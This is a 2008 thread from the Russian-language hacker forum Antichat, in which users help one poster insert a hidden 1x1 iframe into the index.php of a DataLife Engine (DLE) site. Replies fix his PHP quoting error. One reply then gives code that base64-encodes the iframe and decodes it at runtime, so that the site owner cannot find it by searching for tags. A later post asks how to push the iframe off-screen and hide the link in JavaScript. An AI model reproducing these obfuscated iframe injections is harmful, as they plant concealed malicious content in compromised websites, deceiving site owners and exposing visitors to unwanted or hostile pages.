Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   вставка iframe в ПХП (https://forum.antichat.xyz/showthread.php?t=94120)

satana8920 29.11.2008 22:11

вставка iframe в ПХП
 
люди Хелп
есть страница index.php
Кстати скрипт DLE
вставляю фрейм так
PHP код:

$fr'<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>';
print( base64_encode($fr) ); 

кгда захожу на сайт пишет
Parse error: syntax error, unexpected T_STRING in /home/public_html/index.php on line 227
что такое ??? в чем проблема?
еси кто может помочь напишите в ацку или тут

Kaimi 29.11.2008 22:12

Код:

$fr= "<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>";
А зачем в базе64 то?

satana8920 29.11.2008 22:14

что б сразу не просекли

astrologer 29.11.2008 22:15

Цитата:

Сообщение от satana8920
что б сразу не просекли

Так он и грузиться не будет
:D

159932 29.11.2008 22:16

$fr= '<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>';
однако .. это как понимать ?
вот что надо
$fr= '<iframe src=\'http://xxxxxxxxxx\' width=1 height=1></iframe>';

Pashkela 29.11.2008 22:35

PHP код:

$frbase64_encode("<iframe src='http://pashkela.narod.ru' width=100 height=100></iframe>"); 
echo 
base64_decode($fr); 

В общем двойные кавычки нужны в первой строчке, чтобы не было ошибок, просто php после второй одинарной кавычки считает, что кавычки закрылись, и ждет корректного продолжения кода, ну уж никак не http

А дальше как выше и сказали - твой код, даже с исправленными кавычками, просто выведет на экран вот это:

Код:

PGlmcmFtZSBzcmM9J2h0dHA6Ly9wYXNoa2VsYS5uYXJvZC5ydScgd2lkdGg9MTAwIGhlaWdodD0xMDA+PC9pZnJhbWU+

159932 29.11.2008 23:01

какая нах разница как лучше ? у тс трабла была в пхп, а именно с кавычками ..
вы ещё партнёрки тут прорекламте...

DVD_RW, я конечно тоже не знаток-верстальщик .. но твой пример не заработает ни в одном браузере помоему :D

Pashkela 29.11.2008 23:04

лучше тогда уж так:)

PHP код:

<?
$fr
"PGlmcmFtZSBzcmM9J2h0dHA6Ly9wYXNoa2VsYS5uYXJvZC5ydScgd2lkdGg9MTAwIGhlaWdodD0xMDA+PC9pZnJhbWU+"
echo 
base64_decode($fr); 
?>

Скрипт для кодировки ВАШЕГО ифрейма:

PHP код:

<?
$fr
"'<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>"
echo 
base64_encode($fr); 
?>

И то, что выведется на экран - просто скопировать и вставить в первый скрипт ЭТОГО поста вот сюда:

PHP код:

$fr"сюда_вставить"

и тогда действительно простым поиском по тегам фиг что чел найдет, даже если что-то заподозрит:)

Кодировки можно применять разные

satana8920 29.11.2008 23:39

спс всем траблу пмог решить Kaimi спс ему огромное

-=lebed=- 08.01.2009 18:41

1. Кстати фрейм виден в виде маленького квадратика в Опере. Помню как-то делал его вывод на отдельный слой и за пределы окна страницы, не подскажите?
2. Ну в исходниках на стороне сервера мы маскируем линк кодированием в базе64, надо бы ещё от клиента тоже скрыть линк, поделитесь готовым javascript для этого дела у кого есть...


Время: 09:23